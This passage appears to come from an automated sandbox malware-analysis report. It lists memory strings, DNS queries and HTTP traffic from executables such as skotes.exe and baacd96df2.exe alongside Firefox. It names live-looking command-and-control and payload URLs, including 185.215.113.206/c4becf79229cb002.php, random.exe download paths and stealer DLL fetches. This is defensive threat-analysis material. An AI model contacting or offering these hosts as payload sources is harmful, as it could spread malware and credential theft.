"https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002C.00000002.3342006106.000001C4D2991000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000003.2768613352.0000013832261000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3342006106.000001C4D29D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000003.2768613352.0000013832261000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002C.00000002.3342006106.000001C4D2991000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002C.00000002.3342006106.000001C4D2991000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE26F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE26F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE26F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE26F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE26F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE26F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE26F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE26F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE26F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE26F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE26F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE26F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE26F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2778713866.0000026531B03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3292486582.000001C4CE26F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3349046160.000001C4D31AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.2778713866.0000026531B03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3292486582.000001C4CE26F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3349046160.000001C4D31AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001F.00000002.2778713866.0000026531B03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3292486582.000001C4CE26F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3349046160.000001C4D31AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002C.00000002.3240273080.000001C4CE047000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3318362025.000001C4D10F7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3318362025.000001C4D10E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002C.00000002.3338943234.000001C4D259C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002C.00000002.3240273080.000001C4CE047000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com- equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: cook-rain.sbs
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: processhol.sbs
Source: global traffic	DNS traffic detected: DNS query: librari-night.sbs
Source: global traffic	DNS traffic detected: DNS query: home.fvtekk5pn.top
Source: global traffic	DNS traffic detected: DNS query: befall-sm0ker.sbs
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: shavar.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: push.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: firefox.settings.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.remote-settings.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: fvtekk5pn.top

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: cook-rain.sbs

Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3337386294.000001C4D2350000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3039047640.000001C4C236B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: baacd96df2.exe, 00000009.00000002.2958384955.00000000014FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: baacd96df2.exe, 00000009.00000002.2958384955.00000000014FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/F
Source: skotes.exe, 00000006.00000002.2956499086.0000000000EAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe
Source: skotes.exe, 00000006.00000002.2956499086.0000000000EAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe#
Source: skotes.exe, 00000006.00000002.2956499086.0000000000EAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exec
Source: skotes.exe, 00000006.00000002.2956499086.0000000000EAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exeo3
Source: skotes.exe, 00000006.00000002.2956499086.0000000000EAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exey3
Source: baacd96df2.exe, 00000009.00000002.2948340376.0000000000974000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: baacd96df2.exe, 00000009.00000002.2958384955.0000000001494000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe)
Source: baacd96df2.exe, 00000009.00000002.2948340376.0000000000974000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe00Start5les
Source: baacd96df2.exe, 00000009.00000002.2958384955.00000000014FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe1/vcruntime140.dll
Source: baacd96df2.exe, 00000009.00000002.2958384955.0000000001494000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe4
Source: baacd96df2.exe, 00000009.00000002.2958384955.0000000001494000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exeA
Source: baacd96df2.exe, 00000009.00000002.2958384955.0000000001494000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exeL
Source: baacd96df2.exe, 00000009.00000002.2958384955.00000000014AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exeSZ
Source: baacd96df2.exe, 00000009.00000002.2948340376.0000000000974000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exebird
Source: baacd96df2.exe, 00000009.00000002.2948340376.00000000009A5000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exesposition:
Source: baacd96df2.exe, 00000009.00000002.2958384955.00000000014FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/ng
Source: skotes.exe, 00000006.00000002.2956499086.0000000000ED9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exe
Source: skotes.exe, 00000006.00000002.2956499086.0000000000ED9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeH
Source: skotes.exe, 00000006.00000002.2956499086.0000000000ED9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeR
Source: skotes.exe, 00000006.00000002.2956499086.0000000000ED9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe/
Source: skotes.exe, 00000006.00000002.2956499086.0000000000ED9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe_
Source: baacd96df2.exe, 00000009.00000002.2948340376.0000000000974000.00000040.00000001.01000000.0000000A.sdmp, baacd96df2.exe, 00000009.00000002.2958384955.000000000144E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: baacd96df2.exe, 00000009.00000002.2958384955.00000000014AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: baacd96df2.exe, 00000009.00000002.2958384955.00000000014C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: baacd96df2.exe, 00000009.00000002.2958384955.00000000014C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll(
Source: baacd96df2.exe, 00000009.00000002.2958384955.00000000014C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: baacd96df2.exe, 00000009.00000002.2958384955.0000000001494000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: baacd96df2.exe, 00000009.00000002.2958384955.00000000014FD000.00000004.00000020.00020000.00000000.sdmp, baacd96df2.exe, 00000009.00000002.2958384955.00000000014C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: baacd96df2.exe, 00000009.00000002.2958384955.00000000014C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dllll
Source: baacd96df2.exe, 00000009.00000002.2958384955.00000000014FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dllyf
Source: baacd96df2.exe, 00000009.00000002.2958384955.0000000001494000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: baacd96df2.exe, 00000009.00000002.2958384955.00000000014C4000.00000004.00000020.00020000.00000000.sdmp, baacd96df2.exe, 00000009.00000002.2958384955.000000000144E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: baacd96df2.exe, 00000009.00000002.2958384955.000000000144E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dllk8
Source: baacd96df2.exe, 00000009.00000002.2958384955.00000000014FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: baacd96df2.exe, 00000009.00000002.2958384955.00000000014FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dllc
Source: baacd96df2.exe, 00000009.00000002.2958384955.00000000014FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dllcal
Source: baacd96df2.exe, 00000009.00000002.2958384955.00000000014AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/TAhn
Source: baacd96df2.exe, 00000009.00000002.2958384955.00000000014C4000.00000004.00000020.00020000.00000000.sdmp, baacd96df2.exe, 00000009.00000002.2948340376.0000000000974000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: baacd96df2.exe, 00000009.00000002.2958384955.00000000014FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php$
Source: baacd96df2.exe, 00000009.00000002.2958384955.0000000001494000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php1
Source: baacd96df2.exe, 00000009.00000002.2958384955.00000000014C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php3
Source: baacd96df2.exe, 00000009.00000002.2958384955.00000000014C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php?
Source: baacd96df2.exe, 00000009.00000002.2958384955.00000000014C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpS
Source: baacd96df2.exe, 00000009.00000002.2958384955.000000000144E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpSession
Source: baacd96df2.exe, 00000009.00000002.2958384955.00000000014C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php_
Source: baacd96df2.exe, 00000009.00000002.2958384955.000000000144E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpcal
Source: baacd96df2.exe, 00000009.00000002.2948340376.0000000000974000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpfirefox-desktop&utm_source=bookmarks-toolbar&utm_campaign
Source: baacd96df2.exe, 00000009.00000002.2958384955.00000000014FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpl
Source: baacd96df2.exe, 00000009.00000002.2958384955.0000000001494000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpnfigOverlay
Source: baacd96df2.exe, 00000009.00000002.2958384955.000000000144E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpodus.wallet
Source: baacd96df2.exe, 00000009.00000002.2948340376.0000000000974000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://185.215.113.206c4becf79229cb002.php
Source: baacd96df2.exe, 00000009.00000002.2958384955.000000000144E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206o
Source: skotes.exe, 00000006.00000002.2956499086.0000000000ED9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000006.00000002.2956499086.0000000000EAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php)
Source: skotes.exe, 00000006.00000002.2956499086.0000000000EAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php1
Source: skotes.exe, 00000006.00000002.2956499086.0000000000F21000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php7864001
Source: skotes.exe, 00000006.00000002.2956499086.0000000000ED9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php=
Source: skotes.exe, 00000006.00000002.2956499086.0000000000F21000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpnu
Source: skotes.exe, 00000006.00000002.2956499086.0000000000ED9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe
Source: firefox.exe, 0000002C.00000002.3301606401.000001C4CE803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%s
Source: firefox.exe, 0000002C.00000002.3294994349.000001C4CE44B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/
Source: firefox.exe, 0000002C.00000002.3328484802.000001C4D1958000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3342006106.000001C4D2991000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 0000002C.00000002.3328484802.000001C4D1911000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://dev.w3.org/html5/spec/rendering.html#rendering
Source: firefox.exe, 0000002C.00000002.3342006106.000001C4D2991000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3340432226.000001C4D27CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-04/schema#
Source: firefox.exe, 0000002C.00000002.3342006106.000001C4D2991000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-04/schema#http://json-schema.org/draft-06/schema#onboarding-infrequent-
Source: firefox.exe, 0000002C.00000002.3342006106.000001C4D2991000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3340432226.000001C4D27CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-06/schema#
Source: firefox.exe, 0000002C.00000002.3342006106.000001C4D2991000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-07/schema#
Source: firefox.exe, 0000002C.00000003.2911305779.000001C4DBB95000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3340432226.000001C4D27CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/additionalProperties
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bestMatchEnabledbrowser.migrate.interactions.bookmarks
Source: firefox.exe, 0000002C.00000002.3342006106.000001C4D2991000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/boolean
Source: firefox.exe, 0000002C.00000002.3342006106.000001C4D2991000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature
Source: firefox.exe, 0000002C.00000002.3342006106.000001C4D2991000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/slug
Source: firefox.exe, 0000002C.00000002.3342006106.000001C4D2991000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature
Source: firefox.exe, 0000002C.00000002.3342006106.000001C4D2991000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/ratio
Source: firefox.exe, 0000002C.00000002.3342006106.000001C4D2991000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/slug
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/value/ad
Source: firefox.exe, 0000002C.00000002.3342006106.000001C4D2991000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/namespace
Source: firefox.exe, 0000002C.00000002.3342006106.000001C4D2991000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/randomizationUnit
Source: firefox.exe, 0000002C.00000002.3342006106.000001C4D2991000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/randomizationUnithttp://mozilla.org/#/proper
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/csvImport
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/disableGreaseOnFallback
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/dnsMaxAnyPriorityThreads
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/dnsMaxPriorityThreads
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/ehPreconnectEnabled
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/ehPreloadEnabled9b7a25d9-075e-e5e9-678e-af1292db7463
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/experimentType
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/exposureResults
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/filterFetchResponse
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/forceWaitHttpsRRhttp://mozilla.org/#/properties/insecureFallbackPref
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/greasePaddingSize
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/h3Enabled
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/h3GreaseEnabled
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/javascriptValidator
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/mdnFeatureGate
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/mediaExceptionsStrategy
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoClientVariants
